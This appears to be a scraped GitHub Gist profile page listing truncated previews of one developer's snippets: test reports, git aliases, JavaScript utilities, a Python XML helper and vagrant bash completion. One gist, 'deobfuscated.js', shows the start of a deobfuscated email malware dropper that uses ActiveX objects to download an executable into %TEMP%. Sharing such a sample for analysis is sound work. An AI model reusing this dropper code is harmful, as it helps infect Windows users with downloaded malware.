Skip to content

Instantly share code, notes, and snippets.


Alan Plum pluma

Block or report user

Report or block pluma

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View xunit.xml
<?xml version="1.0" encoding="UTF-8"?>
<testsuite name="/hello" timestamp="2016-11-23T15:32:04.685Z" tests="31" errors="0" failures="6" skip="1" time="66">
<testcase classname="global" name="is global" time="0"/>
<testcase classname="An error" name="is an error" time="0">
<failure type="Error" message="banana">
Error: banana
at Context.&lt;anonymous> (/home/pluma/projects/arango/_local/3.1.devel/arango-apps/_db/_system/hello/APP/test/queries.js:12:11)
at [as immediately] (./js/common/bootstrap/modules/process.js:26:5)
View cancellable.js
/*global assert*/
class CancellationError extends Error {} = 'CancellationError'
function deferred () {
let _resolve, _reject
const promise = new Promise((resolve, reject) => {
_resolve = resolve
_reject = reject
View .bash_aliases
alias g='git status -sb'
alias ga='git add'
alias gac='git commit -S --amend'
alias gb='git branch'
alias gbb='git checkout -b'
alias gbm='git branch --merged'
alias gbn='git branch --no-merged'
alias gc='git commit -S -m'
alias gcp='git cherry-pick'
alias gco='git checkout'
pluma / deobfuscated.js
Last active Mar 22, 2016
Malicious script I got in an e-mail
View deobfuscated.js
var shell = new ActiveXObject('WScript.Shell')
var xhr = new ActiveXObject('MSXML2.XMLHTTP')
var virus = shell.ExpandEnvironmentStrings('%TEMP%') + '/CBMQFs.exe'
xhr.onreadystatechange = function () {
if (xhr.readystate === 4) {
var stream = new ActiveXObject('ADODB.Stream')
stream.type = 1
stream.position = 0
View tap
TAP version 13
# api: lintFiles
ok 1 no error while linting
ok 2 result is an object
ok 3 should be equal
# api: lintText
ok 4 no error while linting
ok 5 result is an object
ok 6 should have used single quotes
# Disabled Packages
pluma /
Last active Jan 4, 2016
Node stability index badges using
[![stability 0 - deprecated](

stability 0 - deprecated

pluma / delegating.js
Last active Dec 26, 2015
Slate-like object property delegation. With appologies to Sorella on FreeNode ##javascript.
View delegating.js
var uniq = require('uniq');
var arrp = Array.prototype;
function ext(obj) {
var sources =, 1);
sources.forEach(function(src) {
src && Object.keys(src).forEach(function(name) {
obj[name] = src[name];
pluma / golem.js
Last active Dec 26, 2015
ES-harmony multiple inheritance.
View golem.js
var uniq = require('uniq');
var arrp = Array.prototype;
function merge(obj, src) {
Object.keys(src).forEach(function(name) {
var value = src[name];
if (obj.hasOwnProperty(name)) {
merge(obj[name], value);
} else {
from lxml import etree
def node_from_dict(tag, data=None):
node = etree.Element(tag)
if isinstance(data, dict):
for key, value in data.items():
if isinstance(value, list):
for v in value:
node.append(node_from_dict(key, v))
pluma /
Last active Dec 16, 2015
Bash functions I found useful when working with multiple vagrant projects.
_vagrant_dirnames() {
if [[ $COMP_CWORD > 1 ]]; then
return 1
local cur="${COMP_WORDS[COMP_CWORD]}"
pushd ~/vagrant/ > /dev/null
local opts=( $cur*/ )
popd > /dev/null
if [[ "$opts" == "$cur*/" ]]; then
You can’t perform that action at this time.